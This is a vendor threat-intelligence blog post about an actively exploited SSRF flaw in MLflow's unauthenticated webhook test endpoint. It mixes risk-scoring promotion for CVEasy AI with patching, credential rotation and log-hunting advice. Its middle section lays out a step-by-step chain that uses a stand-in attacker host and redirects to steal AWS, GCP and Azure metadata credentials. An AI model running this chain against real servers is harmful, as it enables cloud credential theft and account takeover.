Threat Intel MLflow Active Exploit

MLflow's webhook test endpoint hands attackers your cloud credentials

August 21, 2026·6 min read·Chris Boker, Founder, CVEasy AI
A mint MLflow tracking server panel in the middle, a rust attacker cluster on the left sending an unauthenticated POST arrow into the panel's /test endpoint slot, a small gold webhook validation gate on the panel's front labelled public IP OK, a green delivery arrow leaving the panel, arcing around the validation gate, and looping to a small dark attacker HTTPS relay tile which returns a bold gold 302 arrow that redirects the delivery into a dashed gold cloud metadata perimeter on the right containing an AWS IMDS tile, a GCP metadata tile, and an Azure IMDS tile, with a mint credentials packet emerging from the metadata perimeter and travelling back through the tracking server response body to the attacker

Within hours of CVE-2026-64849 being assigned on August 17, watchTowr's Attacker Eye honeypot network watched an unauthenticated POST arrive at an MLflow tracking server, then a redirect chain, then a plain-text IAM credential blob in the response. The endpoint the attackers hit is literally named /test.

Every MLflow before 3.15.0 ships that endpoint with no auth and a webhook validator that only guards the first URL you send. CISA added it to the KEV catalog on August 19. It scores 9.3 on CVSS 3.1, a score that crests queues but mis-triages the finding in both directions.

The endpoint that answers without asking who you are

MLflow's model registry lets you register webhooks that fire on model transitions. To help operators check the wiring, the tracking server exposes POST /api/2.0/mlflow/webhooks/{id}/test. That call sends a synthetic delivery to the registered URL and reflects the target's status and body inline in the HTTP response.

On a stock install, the endpoint takes no token, no session cookie, no header check. Anyone who can reach the tracking server on port 5000 can register a webhook, ask MLflow to test it, and read the target's response back. The optional authentication plugin exists; very few internet-facing MLflow servers on Shodan or Censys have it turned on. That is your attack surface: an HTTP proxy that fetches URLs on your behalf and returns the body.

A guard that only checks the front door

Version 3.10.0 added _validate_webhook_url(). It resolves the webhook hostname, checks the address against a blocklist of private ranges and cloud metadata IPs, and either allows or rejects. On paper, that stops the obvious attack: a webhook of http://169.254.169.254/latest/meta-data/ is rejected up front, so a naive SSRF payload never lands.

Two things break the guard, both documented in GHSA-7gwp-5pfp-969j. First, the resolved IP is never carried into the actual connection: validation runs against the URL, delivery runs against a fresh requests.Session that resolves DNS again and follows redirects. Second, the redirect handler only re-checks the original URL, never the redirect target. Anything the attacker's public HTTPS server returns as a Location header rides straight through.

Two exploit shapes fall out of that. A 302 to a private address gives a read primitive: MLflow follows, gets the body, hands it back through /test. A 307 or 308 preserves the POST method and body, so the same primitive becomes a blind write against internal HTTP APIs on the tracking server's network. DNS rebinding gets the read case without a redirect at all, because the two DNS lookups (validation, connect) happen milliseconds apart and can resolve to different addresses.

From a friendly test call to a stolen IAM role

The full chain against an AWS-hosted MLflow is four HTTP requests.

  1. POST /api/2.0/mlflow/webhooks with {"url":"https://attacker.example/innocent",...}; validation resolves to a public IP, passes, and MLflow returns a webhook id.
  2. POST /api/2.0/mlflow/webhooks/{id}/test; MLflow calls attacker.example, which answers 302 Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/.
  3. MLflow follows, hits AWS IMDS, reads the role name, and follows a chained redirect to http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>.
  4. The response body, with AccessKeyId, SecretAccessKey, and Token, is reflected back to the attacker inside the /test response.

GCP works the same way against metadata.google.internal with a 307 preserving Metadata-Flavor: Google, and Azure IMDS at 169.254.169.254 with Metadata: true. All three answer plain HTTP with no auth beyond a header a redirect can add. watchTowr's Attacker Eye caught this flow inside a day of the CVE going public, and multiple reports describe attackers using the stolen credentials to enumerate resources, mint new IAM users, and launch cryptomining EC2 instances.

What actually broke: Validation runs on a URL, delivery runs on a connection. Nothing carries the validated IP forward. Redirects and rebinding both live in that gap.

How TRIS scores it against your real exposure

Two MLflow tracking servers, both showing CVE-2026-64849 at CVSS 9.3, can have completely different exposures. Server A sits on an EC2 instance with an unrestricted IAM role trusted by three other accounts and IMDSv1 still enabled. Server B runs on a laptop, no cloud role attached, no way to reach a metadata endpoint from its network position. CVSS calls them the same finding and a base-score queue puts both at rank one. TRIS, the Threat and Risk Intelligence Scoring engine inside CVEasy AI, decides this finding across four layers instead.

Exploitation. CISA KEV as of August 19, watchTowr honeypot captures inside a day of the CVE, VulnCheck scan telemetry corroborating. This layer sits at the top of the range: real active abuse, not a proof of concept sitting on a researcher's blog.

Exposure. Is the tracking server reachable from the internet or from a subnet an attacker can already touch? Shodan and Censys find internet-facing MLflow trivially. An internal-only instance can still qualify when the SSRF chain reaches a cloud metadata surface from the server's own network position, which is the common case in every managed VM setup.

Blast radius. What can the credentials the metadata service returns actually do? Read-only access to one S3 prefix is one story. A role with AdministratorAccess, or a role trusted by a cross-account CI pipeline, is a very different story. TRIS carries the IAM policy graph forward, so the same SSRF against two servers scores differently based on what the role at the other end can reach.

Contained. Is IMDSv2 enforced on the AWS side so the attacker needs a valid PUT to /latest/api/token first, which a plain redirect cannot supply? Is the tracking server behind an identity-aware proxy that strips unauthenticated requests before they hit /api/2.0/mlflow/webhooks/{id}/test? Contained lowers the tier without removing the finding, because the underlying bug is still present and one config drift away.

An exposed tracking server on an EC2 instance with an unrestricted role and IMDSv1 sits at the top ACT band. The same CVE on a stack with IMDSv2 enforced, no cross-account trust, and MLflow behind Cloudflare Access sits far lower. Same score in CVSS, opposite ends of the queue in TRIS, and the queue is right.

Upgrade to 3.15.0, rotate the role, hunt CloudTrail

Upgrade. Move MLflow to 3.15.0 or later. The fix in PR #24258 adds an SSRFProtectedHTTPAdapter at mlflow/webhooks/ssrf.py that calls sock.getpeername() immediately after the TCP connect and rejects any non-public peer before TLS or HTTP begins. Every redirect opens a fresh connection through the same protected pool, closing the 302 read path, the 307 write path, and the DNS rebinding TOCTOU together.

Rotate. If your tracking server was reachable and unpatched at any point after August 17, treat the instance profile as burned. Rotate the IAM access keys and session tokens the role could issue, the GCP service account keys or workload identity binding, the Azure managed identity, and every secret the instance was allowed to pull from a secrets manager. The window was open; do not wait for confirmed exfiltration in your logs.

Interim mitigation. If you cannot patch immediately, put the tracking server behind an identity-aware proxy that requires authentication before any request reaches /api/2.0/mlflow/webhooks/{id}/test. Enforce IMDSv2 on AWS with a hop limit of one. Egress-filter the server so it cannot reach 169.254.169.254, metadata.google.internal, or fd00:ec2::254.

Hunt. Grep MLflow access logs for POST /api/2.0/mlflow/webhooks creations and /test triggers from unfamiliar client IPs, especially in bursts. Correlate with CloudTrail for calls made by the instance role from source IPs other than the server's own public IP. New IAM users created by the role, new access keys minted, and unfamiliar EC2 launches under the same account are the observed follow-on activity.

The rotation window matters more than the exact IoC: If the tracking server sat on a public IP with a cloud role attached between August 17 and your upgrade to 3.15.0, plan on rotating every credential the role could reach. Confirming or denying exfiltration from web server logs alone is not reliable, and rotation is cheap.

How CVEasy AI surfaces this

CVEasy AI is the number one local-first Continuous Threat Exposure Management (CTEM) platform. It ingests the real sources for this event on release (the MLflow GHSA advisory, PR #24258, the CISA KEV addition, watchTowr's honeypot telemetry) and runs TRIS against the inventory it holds on your hardware: which MLflow versions are running, on what cloud, with what instance profile attached, and whether IMDSv2 is enforced. It answers the question that decides your week: which of my MLflow servers is in the top ACT band right now, what does the role at the other end of the metadata service touch, and what do I rotate first. Your inventory, your IAM policy graph, and your CloudTrail hunts stay on your hardware while TRIS does the arithmetic. That is what local-first CTEM means, and CVE-2026-64849 is the class of finding it exists to answer.

Sources: MLflow security advisory GHSA-7gwp-5pfp-969j, PR #24258 fix (SSRFProtectedHTTPAdapter), GitHub Advisory Database CVE-2026-64849, CISA KEV addition, August 19, 2026, watchTowr Attacker Eye announcement, The Hacker News, Cybersecurity News, Decipher

Your MLflow role is one redirect away from the attacker's inbox

CVEasy AI's TRIS engine scores CVE-2026-64849 against your real exposure: which servers face the internet, which roles they carry, whether IMDSv2 is enforced. Local-first, on your hardware.

Related Reading